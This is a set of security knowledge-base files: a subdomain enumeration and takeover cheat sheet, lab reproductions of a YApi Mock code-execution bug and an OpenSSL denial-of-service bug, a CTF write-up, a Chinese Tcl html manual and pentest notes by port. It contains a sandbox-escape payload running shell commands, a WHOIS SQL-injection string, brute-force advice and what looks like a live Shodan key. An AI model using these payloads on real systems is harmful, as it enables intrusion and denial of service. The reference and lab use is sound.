# Subdomains Enumeration ## Summary * [Enumerate all subdomains](#enumerate-all-subdomains-only-if-the-scope-is-domainext) * Subbrute * KnockPy * GoogleDorks * EyeWitness * Sublist3r * Subfinder * Findomain * Aquatone (Ruby and Go versions) * AltDNS * MassDNS * Nmap * Dnsdumpster * Subdomain take over * tko-subs * HostileSubBruteForcer * SubOver ## Enumerate all subdomains (only if the scope is *.domain.ext) ### Using Subbrute ```bash git clone https://github.com/TheRook/subbrute python subbrute.py domain.example.com ``` ### Using KnockPy with Daniel Miessler’s SecLists for subdomain "/Discover/DNS" ```bash git clone https://github.com/guelfoweb/knock git clone https://github.com/danielmiessler/SecLists.git knockpy domain.com -w subdomains-top1mil-110000.txt ``` Using EyeWitness and Nmap scans from the KnockPy and enumall scans ```bash git clone https://github.com/ChrisTruncer/EyeWitness.git ./setup/setup.sh ./EyeWitness.py -f filename -t optionaltimeout --open (Optional) ./EyeWitness -f urls.txt --web ./EyeWitness -x urls.xml -t 8 --headless ./EyeWitness -f rdp.txt --rdp ``` ### Using Google Dorks and Google Transparency Report You need to include subdomains ;) https://www.google.com/transparencyreport/https/ct/?hl=en-US#domain=[DOMAIN]g&incl_exp=true&incl_sub=true ```bash site:*.domain.com -www site:domain.com filetype:pdf site:domain.com inurl:'&' site:domain.com inurl:login,register,upload,logout,redirect,redir,goto,admin site:domain.com ext:php,asp,aspx,jsp,jspa,txt,swf site:*.*.domain.com ``` ### Using Sublist3r ```bash To enumerate subdomains of specific domain and show the results in realtime: python sublist3r.py -v -d example.com To enumerate subdomains and enable the bruteforce module: python sublist3r.py -b -d example.com To enumerate subdomains and use specific engines such Google, Yahoo and Virustotal engines python sublist3r.py -e google,yahoo,virustotal -d example.com python sublist3r.py -b -d example.com ``` ### Using Subfinder ```powershell go get github.com/subfinder/subfinder ./Subfinder/subfinder --set-config PassivetotalUsername='USERNAME',PassivetotalKey='KEY' ./Subfinder/subfinder --set-config RiddlerEmail="EMAIL",RiddlerPassword="PASSWORD" ./Subfinder/subfinder --set-config CensysUsername="USERNAME",CensysSecret="SECRET" ./Subfinder/subfinder --set-config SecurityTrailsKey='KEY' ./Subfinder/subfinder -d example.com -o /tmp/results_subfinder.txt ``` ### Using Findomain ```powershell $ wget https://github.com/Edu4rdSHL/findomain/releases/latest/download/findomain-linux $ chmod +x findomain-linux $ findomain_spyse_token="YourAccessToken" $ findomain_virustotal_token="YourAccessToken" $ findomain_fb_token="YourAccessToken" $ ./findomain-linux -t example.com -o ``` ### Using Aquatone - old version (Ruby) ```powershell gem install aquatone Discover subdomains : results in ~/aquatone/example.com/hosts.txt aquatone-discover --domain example.com aquatone-discover --domain example.com --threads 25 aquatone-discover --domain example.com --sleep 5 --jitter 30 aquatone-discover --set-key shodan o1hyw8pv59vSVjrZU3Qaz6ZQqgM91ihQ Active scans : results in ~/aquatone/example.com/urls.txt aquatone-scan --domain example.com aquatone-scan --domain example.com --ports 80,443,3000,8080 aquatone-scan --domain example.com --ports large aquatone-scan --domain example.com --threads 25 Final results aquatone-gather --domain example.com ``` Alternatively, you can use the [Docker image](https://hub.docker.com/r/txt3rob/aquatone-docker/) provided by txt3rob. ```powershell https://hub.docker.com/r/txt3rob/aquatone-docker/ docker pull txt3rob/aquatone-docker docker run -it txt3rob/aquatone-docker aq example.com ``` ### Using Aquatone - new version (Go) ```powershell # Subfinder version ./Subfinder/subfinder -d $1 -r 8.8.8.8,1.1.1.1 -nW -o /tmp/subresult$1 cat /tmp/subresult$1 | ./Aquatone/aquatone -ports large -out /tmp/aquatone$1 # Amass version ./Amass/amass -active -brute -o /tmp/hosts.txt -d $1 cat /tmp/hosts.txt | ./Aquatone/aquatone -ports large -out /tmp/aquatone$1 ``` ### Using AltDNS It's recommended to use massdns in order to resolve the result of `AltDNS` ```powershell WORDLIST_PERMUTATION="./Altdns/words.txt" python2.7 ./Altdns/altdns.py -i /tmp/inputdomains.txt -o /tmp/out.txt -w $WORDLIST_PERMUTATION ``` Alternatively you can use [goaltdns](https://github.com/subfinder/goaltdns) ### Using MassDNS ```powershell DNS_RESOLVERS="./resolvers.txt" cat /tmp/results_subfinder.txt | massdns -r $DNS_RESOLVERS -t A -o S -w /tmp/results_subfinder_resolved.txt ``` ### Using Nmap ```powershell nmap -sn --script hostmap-crtsh host_to_scan.tld ``` ### Using dnsdumpster ```ps1 git clone https://github.com/nmmapper/dnsdumpster python dnsdumpster.py -d domainname.com ``` ## Subdomain take over Check [Can I take over xyz](https://github.com/EdOverflow/can-i-take-over-xyz) by EdOverflow for a list of services and how to claim (sub)domains with dangling DNS records. ### Using tko-subs ```powershell go get github.com/anshumanbh/tko-subs ./bin/tko-subs -domains=./lists/domains_tkos.txt -data=./lists/providers-data.csv ``` ### Using HostileSubBruteForcer ```bash git clone https://github.com/nahamsec/HostileSubBruteforcer chmod +x sub_brute.rb ./sub_brute.rb ``` ### Using SubOver ```powershell go get github.com/Ice3man543/SubOver ./SubOver -l subdomains.txt ``` ## References * [Subdomain Takeover: Proof Creation for Bug Bounties - Patrik Hudak](https://0xpatrik.com/takeover-proofs/) * [Subdomain Takeover: Basics - Patrik Hudak](https://0xpatrik.com/subdomain-takeover-basics/)
sec-knowleage
# YApi Registration and Mock Remote Code Execution [中文版本(Chinese version)](README.zh-cn.md) YApi is a API management tool developed by Node.JS. If registration of the YApi server is enabled, attackers will be able to execute arbitrary Javascript code in the Mock page. References: - <https://paper.seebug.org/1639/> - <https://www.freebuf.com/vuls/279967.html> ## Vulnerability Environment Execute following command to start a YApi server 1.9.2: ``` docker compose up -d ``` After the server is started, browse the `http://localhost:3000` to see the index page of the YApi. ## Vulnerability Reproduce Register a normal user then create a project and an interface: ![](1.png) ![](2.png) There is a "Mock Tab" that you can input JavaScript code, put the evil code into textarea: ``` const sandbox = this const ObjectConstructor = this.constructor const FunctionConstructor = ObjectConstructor.constructor const myfun = FunctionConstructor('return process') const process = myfun() mockJson = process.mainModule.require("child_process").execSync("id;uname -a;pwd").toString() ``` ![](3.png) Then, go back to the preview tab and see the Mock URL: ![](4.png) Open that URL, Mock script is executed and you can see the output: ![](5.png)
sec-knowleage
# Impact of the OpenSSL Infinite Loop Vulnerability (CVE-2022-0778) [中文版本(Chinese version)](README.zh-cn.md) OpenSSL is a software library for applications that secure communications over computer networks against eavesdropping or need to identify the party at the other end. A flaw was found in OpenSSL. It is possible to trigger an infinite loop by crafting a certificate that has invalid elliptic curve parameters. Since certificate parsing happens before verification of the certificate signature, any process that parses an externally supplied certificate may be subject to a denial of service attack. Reference links: - <https://github.com/drago-96/CVE-2022-0778> - <https://www.cnblogs.com/logchen/p/16030515.html> - <https://catbro666.github.io/posts/83951100/> - <https://github.com/yywing/cve-2022-0778> ## Vulnerability environment Execute following command to start a server: ``` docker compose up -d ``` ## Reproduce vulnerability Firstly, use [this project](https://github.com/vulhub/cve-2022-0778) to build and run an evil server. If you don't have the Golang compiler, just use the Docker image: ``` docker run -it --rm -p 12345:12345 yywing/cve-2022-0778 --addr 0.0.0.0:12345 ``` Then you can monitor the CPU usage inside the container through `top`: ``` docker compose exec curl top ``` This vulnerability is available when parsing the certificate, so we can use the cURL to demonstrate it. Entry the environment, and use the cURL to browse the evil server that started before: ``` docker compose exec curl bash curl -k https://host.docker.internal:12345 ``` At this point, cURL will be caught in an infinite loop, and CPU resources will be exhausted unexpectedly: ![](1.png)
sec-knowleage
--- title: 列出云数据库 --- ## 列出云数据库 使用以下命令列出阿里云 RDS 云数据库服务 ```bash cf alibaba rds ls ``` 如果想指定特定属性,可以使用以下参数: | 参数 | 用途 | | :------------------------: | :------------: | | `-r` 或者 `--region` | 指定区域 | | `-i` 或者 `--DBInstanceID` | 指定数据库 ID | | `-e` 或者 `--engine` | 指定数据库类型 | ::: warning 注意 * 为了提高程序运行速度,当获取一次结果后,获取的结果会缓存下来,缓存目录为 `~/.config/cf/cache.db` * 如果不想使用缓存数据,可以在执行命令的时候加上 `--flushCache` 参数 ::: 在列出数据库实例时加上 -a 命令,会列出数据库实例的详细信息。 ```bash cf alibaba rds ls -a ``` <Vssue /> <script> export default { mounted () { this.$page.lastUpdated = "2023 年 7 月 1 日" } } </script>
sec-knowleage
# Logarithms are hard (misc, 10p) ## ENG [PL](#pl-version) ``` What is e^(1.000000001)? Please enter in decimal with 7 places. (For example, if the answer was 2.71828183... the flag would be 2.7182818 ) ``` As in previous editions of Plaid CTF we have a misc task regarding some bug in numerical computation. This time it is calculation is exponent function. Quick googling gets us to: http://www.datamath.org/Story/LogarithmBug.htm which says that some calculators would get the result wrong and instead of `2.7182818` give `2.7191928`. We submit the latter as a flag and get 10 points. ## PL version ``` What is e^(1.000000001)? Please enter in decimal with 7 places. (For example, if the answer was 2.71828183... the flag would be 2.7182818 ) ``` Tak jak w poprzednich edycjach Plajd CTF mamy zadanie związane z błędami w obliczeniach numerycznych. W tym przypadku chodzi o eksponente. Szybkie googlowanie pozwala nam trafić na http://www.datamath.org/Story/LogarithmBug.htm gdzie możemy wyczytać, że niektóre kalkulatory zamiast `2.7182818` dawały wynik `2.7191928`. Wysyłamy niepoprawną wartość jako flagę i dostajemy 10p.
sec-knowleage
import struct def chunks(l, n): for i in range(0, len(l), n): yield l[i:i + n] def xor_qword(chunk, qword): dword = struct.pack("<I", qword >> 32) out = '' for a, b in zip(map(ord, chunk), map(ord, dword)): out += chr(a^b) return out init_data = 0xD806209B3D160872 round_data = 0x5851F42D4C957F2D data = '49AB407E86FAA237'.decode('hex') decoded_chunks = [] for chunk in list(chunks(data, 4))[::-1]: init_data = (init_data * round_data + 1) & 0xffffffffffffffff d = xor_qword(chunk, init_data) decoded_chunks.append(d) decoded_text = ''.join(decoded_chunks[::-1]) print(repr(decoded_text))
sec-knowleage
'\" -*- tcl -*- doctools manpage '\" '\" Generated from ./modules/html/html.man by mpexpand with fmt.nroff '\" .TH "html" 3tcl 1.2.1 html "HTML Generation" .SH NAME html \- 产生 HTML 框架的子程序 .SH "总览 SYNOPSIS" package require \fBTcl 8.2\fR .sp package require \fBhtml ?1.2.1?\fR .sp \fB::html::author\fR \fIauthor\fR\fR .sp \fB::html::bodyTag\fR \fIargs\fR\fR .sp \fB::html::cell\fR \fIparam value\fR ?\fItag\fR?\fR .sp \fB::html::checkbox\fR \fIname value\fR\fR .sp \fB::html::checkSet\fR \fIkey sep list\fR\fR .sp \fB::html::checkValue\fR \fIname\fR ?\fIvalue\fR?\fR .sp \fB::html::closeTag\fR \fR .sp \fB::html::default\fR \fIkey\fR ?\fIparam\fR?\fR .sp \fB::html::description\fR \fIdescription\fR\fR .sp \fB::html::end\fR \fR .sp \fB::html::eval\fR \fIarg\fR ?\fIargs\fR?\fR .sp \fB::html::extractParam\fR \fIparam key\fR ?\fIvarName\fR?\fR .sp \fB::html::font\fR \fIargs\fR\fR .sp \fB::html::for\fR \fIstart test next body\fR\fR .sp \fB::html::foreach\fR \fIvarlist1 list1\fR ?\fIvarlist2 list2 ...\fR? \fIbody\fR\fR .sp \fB::html::formValue\fR \fIname\fR ?\fIdefvalue\fR?\fR .sp \fB::html::getFormInfo\fR \fIargs\fR\fR .sp \fB::html::getTitle\fR \fR .sp \fB::html::h\fR \fIlevel string\fR ?\fIparam\fR?\fR .sp \fB::html::h1\fR \fIstring\fR ?\fIparam\fR?\fR .sp \fB::html::h2\fR \fIstring\fR ?\fIparam\fR?\fR .sp \fB::html::h3\fR \fIstring\fR ?\fIparam\fR?\fR .sp \fB::html::h4\fR \fIstring\fR ?\fIparam\fR?\fR .sp \fB::html::h5\fR \fIstring\fR ?\fIparam\fR?\fR .sp \fB::html::h6\fR \fIstring\fR ?\fIparam\fR?\fR .sp \fB::html::hdrRow\fR \fIargs\fR\fR .sp \fB::html::head\fR \fItitle\fR\fR .sp \fB::html::headTag\fR \fIstring\fR\fR .sp \fB::html::if\fR \fIexpr1 body1\fR ?\fBelseif\fR \fIexpr2 body2 ...\fR? ?\fBelse\fR \fIbodyN\fR?\fR .sp \fB::html::keywords\fR \fIargs\fR\fR .sp \fB::html::mailto\fR \fIemail\fR ?\fIsubject\fR?\fR .sp \fB::html::meta\fR \fIargs\fR\fR .sp \fB::html::minorMenu\fR \fIlist\fR ?\fIsep\fR?\fR .sp \fB::html::minorList\fR \fIlist\fR ?\fIordered\fR?\fR .sp \fB::html::openTag\fR \fItag args\fR\fR .sp \fB::html::passwordInput\fR ?\fIname\fR?\fR .sp \fB::html::passwordInputRow\fR \fIlabel\fR ?\fIname\fR?\fR .sp \fB::html::quoteFormValue\fR \fIvalue\fR\fR .sp \fB::html::radioSet\fR \fIkey sep list\fR\fR .sp \fB::html::radioValue\fR \fIname value\fR\fR .sp \fB::html::refresh\fR \fIseconds url\fR\fR .sp \fB::html::init\fR ?\fIlist\fR?\fR .sp \fB::html::row\fR \fIargs\fR\fR .sp \fB::html::paramRow\fR \fIlist\fR ?\fIrparam\fR? ?\fIcparam\fR?\fR .sp \fB::html::select\fR \fIname param choices\fR ?\fIcurrent\fR?\fR .sp \fB::html::selectPlain\fR \fIname param choices\fR ?\fIcurrent\fR?\fR .sp \fB::html::submit\fR \fIlabel\fR ?\fIname\fR?\fR .sp \fB::html::set\fR \fIvar val\fR\fR .sp \fB::html::tableFromArray\fR \fIarrname\fR ?\fIparam\fR? ?\fIpat\fR?\fR .sp \fB::html::tableFromList\fR \fIquerylist\fR ?\fIparam\fR?\fR .sp \fB::html::textarea\fR \fIname\fR ?\fIparam\fR? ?\fIcurrent\fR?\fR .sp \fB::html::textInput\fR \fIname args\fR\fR .sp \fB::html::textInputRow\fR \fIlabel name args\fR\fR .sp \fB::html::title\fR \fItitle\fR\fR .sp \fB::html::varEmpty\fR \fIname\fR\fR .sp \fB::html::while\fR \fItest body\fR\fR .sp .SH "描述 DESCRIPTION" .PP \fBhtml\fR 包提供了产生 HTML 的命令。这些命令一般返回 HTML 字符串作为结果。特殊的是,它们不向 \fBstdout\fR 输出结果。 .PP \fB::html::init\fR 命令应当最早调用,从而初始化整个模块。也可以使用这个子程序来定义 HTML 标记参数的默认值。 .TP \fB::html::author\fR \fIauthor\fR\fR \fBSide effect only\fR. 在调用 \fB::html::head\fR 之前调用它,来定义页面的作者。作者以 HEAD 段中的注释形式给出。 .TP \fB::html::bodyTag\fR \fIargs\fR\fR 产生一个 BODY 标签。标签参数来自 \fIargs\fR 或是在 \fB::html::init\fR 中定义的 body.* 属性。 .TP \fB::html::cell\fR \fIparam value\fR ?\fItag\fR?\fR 产生一个 TD (或 TH) 标签,一个值,和一个关闭 TD (或 TH) 标签。标签参数来自\fIparam\fR 或是在 \fB::html::init\fR 中定义的 TD.* 属性。它使用 \fB::html::font\fR 来在表格单元中插入一个标准的 FONT 标签。 \fItag\fR 参数默认是 "td". .TP \fB::html::checkbox\fR \fIname value\fR\fR 产生一个 CHECKBOX 表单元素,使用指定的名称和值。这使用了 \fB::html::checkValue\fR. .TP \fB::html::checkSet\fR \fIkey sep list\fR\fR 产生一个 CHECKBOX 表单元素和相关标签的集合。\fIlist\fR 应当包含一个可选标签和值的列表。这使用了 \fB::html::checkbox\fR. .TP \fB::html::checkValue\fR \fIname\fR ?\fIvalue\fR?\fR 为一个 CHECKBOX 表单元素产生一个 "name=\fIname\fR value=\fIvalue\fR" . 如果 CGI 变量 \fIname\fR 的值是 \fIvalue\fR,那么 SELECTED 将加入到返回值中。\fIvalue\fR 默认值是 "1". .TP \fB::html::closeTag\fR \fR 从 \fB::html::openTag\fR 创建的栈中弹出一个标签,产生相应的关闭标签 (例如,/BODY)。 .TP \fB::html::default\fR \fIkey\fR ?\fIparam\fR?\fR 这个子程序由 \fB::html::tagParam\fR 用来产生标签的参数名称和值列表。\fB::html::default\fR 子程序用来为那些不在 \fIparam\fR 中的项目产生默认值。如果 \fIkey\fR 代表的值匹配 \fIparam\fR 中的一个值,那么这个子程序返回孔字符串。否则,它为 \fIkey\fR 代表的表单元素返回一个 "parameter=value" 字符串。\fIkey\fR 的形式是 "tag.parameter" (例如,body.bgcolor)。使用 \fB::html::init\fR 来注册默认值。\fIparam\fR 默认是空字符串。 .TP \fB::html::description\fR \fIdescription\fR\fR \fBSide effect only\fR. 在调用 \fB::html::head\fR 前调用它来为页面定义一个 META 标签。这个标签在随后调用 \fB::html::head\fR 时产生。 .TP \fB::html::end\fR \fR 从栈中弹出所有开标签,产生相应的关闭标签 (例如,</body></html>)。 .TP \fB::html::eval\fR \fIarg\fR ?\fIargs\fR?\fR 这个子程序类似于内置的 Tcl \fBeval\fR 命令,唯一的区别是它返回 "", 因此可以在一个 HTML 模板文件中调用,不会添加不需要的结果。 .TP \fB::html::extractParam\fR \fIparam key\fR ?\fIvarName\fR?\fR 这是一个解释程序,从 \fIparam\fR ,一个 HTML 式样的 "name=quotedvalue" 列表中得到所有 \fIkey\fR 的值。\fIvarName\fR 用作一个 Tcl 变量名,赋以参数中找到的值。这个函数返回 1,如果 \fIparam\fR 中找到了参数,否则返回 0。如果没有指定 \fIvarName\fR ,将使用 \fIkey\fR 作为变量名。 .TP \fB::html::font\fR \fIargs\fR\fR 产生一个标准的 FONT 标签。标签的参数来自 \fIargs\fR 和 \fB::html::init\fR 定义的 HTML 默认值。 .TP \fB::html::for\fR \fIstart test next body\fR\fR 这个子程序与内置的 Tcl \fBfor\fR 控制结构相似。但它返回联接的 (subst'ed) \fIbody\fR 而不是去计算 body 的值。循环的每一次都会在返回值中联接另外一个字符串。 .TP \fB::html::foreach\fR \fIvarlist1 list1\fR ?\fIvarlist2 list2 ...\fR? \fIbody\fR\fR 这个子程序与内置的 Tcl \fBforeach\fR 控制结构相似。但它返回联接的 \fIbody\fR 而不是去计算 body 的值。循环的每一次都会将另外一个字符串联接到返回值中。 .TP \fB::html::formValue\fR \fIname\fR ?\fIdefvalue\fR?\fR 返回一个名称-值对,使用现有的 CGI 数据来初始化值。结果有以下形式: .sp .nf name="fred" value="freds value" .fi .TP \fB::html::getFormInfo\fR \fIargs\fR\fR 产生隐藏的字段来捕获表单值。如果 \fIargs\fR 是空,那么为所有 CGI 值创建隐藏字段。否则 \fIargs\fR 是一个匹配表单元素名称的字符串模式的列表。 .TP \fB::html::getTitle\fR \fR 返回 title 字符串,没有包围的 TITLE 标签。title 以一个先前调用的 \fB::html::title\fR 定义。 .TP \fB::html::h\fR \fIlevel string\fR ?\fIparam\fR?\fR 产生一个标题 (例如, H1) 标签。\fIstring\fR 嵌于标题中,\fIparam\fR 用作标签参数。 .TP \fB::html::h1\fR \fIstring\fR ?\fIparam\fR?\fR 产生一个 H1 标签。参见 \fB::html::h\fR. .TP \fB::html::h2\fR \fIstring\fR ?\fIparam\fR?\fR 产生一个 H2 标签。参见 \fB::html::h\fR. .TP \fB::html::h3\fR \fIstring\fR ?\fIparam\fR?\fR 产生一个 H3 标签。参见 \fB::html::h\fR. .TP \fB::html::h4\fR \fIstring\fR ?\fIparam\fR?\fR 产生一个 H4 标签。参见 \fB::html::h\fR. .TP \fB::html::h5\fR \fIstring\fR ?\fIparam\fR?\fR 产生一个 H5 标签。参见 \fB::html::h\fR. .TP \fB::html::h6\fR \fIstring\fR ?\fIparam\fR?\fR 产生一个 H6 标签。参见 \fB::html::h\fR. .TP \fB::html::hdrRow\fR \fIargs\fR\fR 产生一个表格行,包含 TR 和 TH 标签。\fIargs\fR 中的每个值都置入自己的表格单元中。这使用了 \fB::html::cell\fR. .TP \fB::html::head\fR \fItitle\fR\fR 产生一个 HEAD 段,包含页面的 TITLE。如果先前调用了 \fB::html::author\fR, \fB::html::keywords\fR, \fB::html::description\fR, 或 \fB::html::meta\fR 那么附加的标签将插入到 HEAD 段中。它使用 \fB::html::openTag\fR 将一个开 HTML 标签入栈. .TP \fB::html::headTag\fR \fIstring\fR\fR 保存一个包含于 \fB::html::head\fR 产生的 HEAD 段中的标签。\fIstring\fR 是一个标签中除了尖括号之外的所有东西。 .TP \fB::html::if\fR \fIexpr1 body1\fR ?\fBelseif\fR \fIexpr2 body2 ...\fR? ?\fBelse\fR \fIbodyN\fR?\fR 这个子程序与内置的 Tcl \fBif\fR 控制结构相似。但它返回联接的 \fIbody\fR 而不是去计算它每个分支 body 的值。注意这个语法与内置的 Tcl \fBif\fR 控制结构相比稍有限制。 .TP \fB::html::keywords\fR \fIargs\fR\fR \fBSide effect only\fR. 在调用 \fB::html::head\fR 之前调用它来定义一个页面的关键字 META 标签。在 \fB::html::head\fR 结果中将包含这个 META 标签。 .TP \fB::html::mailto\fR \fIemail\fR ?\fIsubject\fR?\fR 产生一个到 mailto: URL 的超链接。 .TP \fB::html::meta\fR \fIargs\fR\fR \fBSide effect only\fR. 在调用 \fB::html::head\fR 之前调用它来定义一个页面的 META 标签。 \fIargs\fR 是一个 Tcl 样式的名称和值列表,用作 META 标签的 name= 和 value= 参数。在 \fB::html::head\fR 结果中将包含这个 META 标签。 .TP \fB::html::minorMenu\fR \fIlist\fR ?\fIsep\fR?\fR 产生一系列超链接。\fIlist\fR 是一个 Tcl 样式的名称和值列表,内容是链接的标签和地址。\fIsep\fR 是分隔每个链接的文本,默认是 " | ". .TP \fB::html::minorList\fR \fIlist\fR ?\fIordered\fR?\fR 产生一个排序的或未排序的链接列表。\fIlist\fR 是一个 Tcl 样式的名称和值列表,内容是链接的标签和地址。\fIordered\fR 是一个布尔值,用来选择有序表或无序表,默认是 \fBfalse\fR. .TP \fB::html::openTag\fR \fItag args\fR\fR 将 \fItag\fR 入栈,为它产生一个开标签。使用 \fB::html::closeTag\fR 来从栈中弹出标签。 .TP \fB::html::passwordInput\fR ?\fIname\fR?\fR 产生一个 PASSWORD 类型的 INPUT 标签。 \fIname\fR 默认为 "password". .TP \fB::html::passwordInputRow\fR \fIlabel\fR ?\fIname\fR?\fR 格式化一个包含一个标签和一个 PASSWORD 类型的 INPUT 标签的表格行。\fIname\fR 默认为 "password". .TP \fB::html::quoteFormValue\fR \fIvalue\fR\fR 使用 HTML 实体 (quotes, ampersand, and angle brackets.) 来替换 \fIvalue\fR 中的特殊字符,从而可以引用它们。 .TP \fB::html::radioSet\fR \fIkey sep list\fR\fR 产生一个 RADIO 类型的 INPUT 标签集合以及一个相关的文本标签。所有单选按钮共享同样的 \fIkey\fR 作为它们的名字。\fIsep\fR 是用来分隔各元素的文本。\fIlist\fR 是一个 Tcl 风格的标签,值列表。 .TP \fB::html::radioValue\fR \fIname value\fR\fR 为一个 RADIO 表单元素产生一个 "name=\fIname\fR value=\fIvalue\fR" .如果 CGI 变量 \fIname\fR 值为 \fIvalue\fR, 那么 SELECTED 将被加入返回值中。 .TP \fB::html::refresh\fR \fIseconds url\fR\fR 建立一个刷新 META 标签。在调用 \fB::html::head\fR 之前调用它,HEAD 段中将包含一个 META 标签使得页面每 \fIseconds\fR 刷新一次。 \fIurl\fR 是可选的,如果指定的话它指定了刷新间隔之后读取的新页面。 .TP \fB::html::init\fR ?\fIlist\fR?\fR \fB::html::init\fR 接受一个 Tcl 样式的 name-value 列表,定义了名称是 "tag.parameter" 形式的对象的值。例如, "body.bgcolor" 默认将为 BODY 标签定义背景色。 .TP \fB::html::row\fR \fIargs\fR\fR 产生一个表格行,包含 TR 和 TD 标签。\fIargs\fR 的每个值都置入各自的表格单元中。它使用了 \fB::html::cell\fR. .TP \fB::html::paramRow\fR \fIlist\fR ?\fIrparam\fR? ?\fIcparam\fR?\fR 产生一个表格行,包含 TR 和 TD 标签。\fIargs\fR 的每个值都置入各自的表格单元中。它使用了 \fB::html::cell\fR. \fIrparam\fR 用作 TR 标签的参数,\fIcparam\fR 的值被传给 \fB::html::cell\fR,作为 TD 标签的参数。 .TP \fB::html::select\fR \fIname param choices\fR ?\fIcurrent\fR?\fR 产生一个 SELECT 表单元素以及内置的 OPTION 标签。 \fIname\fR 和 \fIparam\fR 用来产生 SELECT 标签。 \fIchoices\fR 列表是一个 Tcl 样式的 name-value 列表。 .TP \fB::html::selectPlain\fR \fIname param choices\fR ?\fIcurrent\fR?\fR 类似 \fB::html::select\fR 但 \fIchoices\fR 是一个 Tcl 值的列表,用于 OPTION 标签。每个 OPTION 的标签和值是相同的。 .TP \fB::html::submit\fR \fIlabel\fR ?\fIname\fR?\fR 产生一个 SUBMIT 类型的 INPUT 标签。 \fIname\fR 默认是 "submit". .TP \fB::html::set\fR \fIvar val\fR\fR 这个子程序与内置的 Tcl \fBset\fR 控制结构相似。主要区别是它返回 "" 因此可以在一个 HTML 模板文件中调用,不会产生奇怪的结果。另外的区别是它需要两个参数。 .TP \fB::html::tableFromArray\fR \fIarrname\fR ?\fIparam\fR? ?\fIpat\fR?\fR 产生一个 TABLE 和内置的行,来显示一个 Tcl 数组。\fIparam\fR 是为 TABLE 标签准备的。\fIpat\fR 是一个 \fBstring match\fR 模式,用来选择数组元素,默认是 "*". .TP \fB::html::tableFromList\fR \fIquerylist\fR ?\fIparam\fR?\fR 产生一个 TABLE 和内置的行来显示 \fIquerylist\fR, 一个 Tcl 样式的名称和值列表。\fIparam\fR 是为 TABLE 标签设置的。 .TP \fB::html::textarea\fR \fIname\fR ?\fIparam\fR? ?\fIcurrent\fR?\fR 产生一个 TEXTAREA 标签,包围 (wrapped) 在它的当前值 .TP \fB::html::textInput\fR \fIname args\fR\fR 产生一个 TEXT 类型的 INPUT 表单标签。这使用了 \fB::html::formValue\fR. 参数是你想在 INPUT 标签中添加的任何附加标签属性。 .TP \fB::html::textInputRow\fR \fIlabel name args\fR\fR 产生一个 TEXT 类型的 INPUT 标签,和一个相关标签一起格式化到一个表格行中。参数是你想在 INPUT 标签中添加的任何附加标签属性。 .TP \fB::html::title\fR \fItitle\fR\fR \fBSide effect only\fR. 在调用 \fB::html::head\fR 调用它来定义页面的 TITLE。 .TP \fB::html::varEmpty\fR \fIname\fR\fR 如果指定名称的变量不存在或者为空值则返回 1 。 .TP \fB::html::while\fR \fItest body\fR\fR 这个子程序类似于内置的 Tcl \fBwhile\fR 空值结构。但它返回联接的 \fIbody\fR 而不是计算 body。循环的每一次都将另一个字符串联接到返回值中。 .SH "参见 SEE ALSO" ncgi, htmlparse .SH "关键字 KEYWORDS" html, form, table, checkbox, radiobutton, checkbutton .SH "[中文版维护人]" .B 袁乙钧 .SH "[中文版最新更新]" .B 2003/11/10 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# 端口安全 `记录一些端口渗透时的方法和思路` --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- ## 大纲 * [Tips](#tips) * [7](#7) * [21](#21) * [22](#22) * [23](#23) * [25/465/587](#25465587) * [43](#43) * [53](#53) * [67/68](#6768) * [102](#102) * [123](#123) * [137/139/389/445/901](#137139389445901) * [139/445](#139445) * [161](#161) * [389](#389) * [443](#443) * [445](#445) * [502](#502) * [554/8554](#5548554) * [873](#873) * [902](#902) * [990](#990) * [1090/1099](#10901099) * [1433](#1433) * [1494](#1494) * [1521](#1521) * [1883](#1883) * [2049](#2049) * [2181](#2181) * [2375](#2375) * [2598](#2598) * [3000](#3000) * [3128](#3128) * [3306](#3306) * [3333](#3333) * [3389](#3389) * [4100](#4100) * [4592](#4592) * [4786](#4786) * [4848](#4848) * [5000](#5000) * [5432](#5432) * [5555](#5555) * [5632](#5632) * [5800/5900/5901](#580059005901) * [5984](#5984) * [5985/5986](#59855986) * [6129](#6129) * [6379](#6379) * [6970](#6970) * [7001/7002](#70017002) * [8123](#8123) * [80/443/8080~10000](#80443808010000) * [11211](#11211) * [27017/27018](#2701727018) * [50000/50001](#5000050001) * [50010/50030/50070](#500105003050070) --- **相关文章** - [渗透基础 | 黑客常用端口利用总结](https://www.secpulse.com/archives/117822.html) --- ## Tips 1. 对于少见的端口号,建议可以在 shodan 上搜索看看,找找同类业务,找找灵感. 2. 2019-11-14:最近发现火绒会拦截本地对外扫描(包括虚拟机) POC 的流量,等我注意到时真是感觉亏了1个亿,同理,其他杀软也可能会有这种情况,所以对于漏扫明明爆出漏洞,EXP 却利用不了的时候请看看是不是自己本地的问题. --- ## 7 `echo` - 概述 echo 服务正在此主机上运行。 回声服务旨在用于测试和测量目的,并且可以侦听 TCP 和 UDP 协议。 服务器将发送回接收到的所有数据,而无需进行任何修改。 通过将 echo 服务连接到同一台或另一台计算机上的 echo 服务,可能会导致拒绝服务。 由于产生的数据包数量过多,可能会有效地使受影响的计算机停止服务。 - 测试访问 ```bash nc -uvn <IP> 7 Hello echo #This is wat you send Hello echo #This is the response ``` --- ## 21 `FTP` / `tftp` / `vsftpd` - 试试匿名账号 anonymous anony@mous - 爆破弱口令 --- ## 22 `SSH` - 试试服务账号,比如他有承载 ORACLE 数据库,就试试 oracle、orcl 这种,其他服务同理,略 - 用户名枚举,例如 CVE-2018-15473 - 爆破弱口令 - [SNETCracker](https://github.com/shack2/SNETCracker) - [ncsa/ssh-auditor](https://github.com/ncsa/ssh-auditor) --- ## 23 `Telnet` - 爆破弱口令 - 推荐工具 : [SNETCracker](https://github.com/shack2/SNETCracker) --- ## 25/465/587 `SMTP` - [SMTP相关](../协议安全/Protocol-Exploits.md#smtp) - 枚举用户 - 伪造邮件 --- ## 43 `WHOIS` - 概述 WHOIS 是一个查询和响应协议,它被广泛用于查询数据库,以存储互联网资源的注册用户相关的信息,如域名、IP地址块或自治系统,但也用于更广泛的其他信息。 - 枚举信息 ```bash whois -h <HOST> -p <PORT> "domain.tld" echo "domain.ltd" | nc -vn <HOST> <PORT> ``` - 注入 WHOIS服务始终需要使用数据库来存储和提取信息。 因此,从用户提供的某些信息查询数据库时,可能会出现SQLInjection。 ```bash whois -h <HOST> -p 43 "a') or 1=1#" ``` --- ## 53 `DNS` - [DNS 相关](../协议安全/Protocol-Exploits.md#dns) - 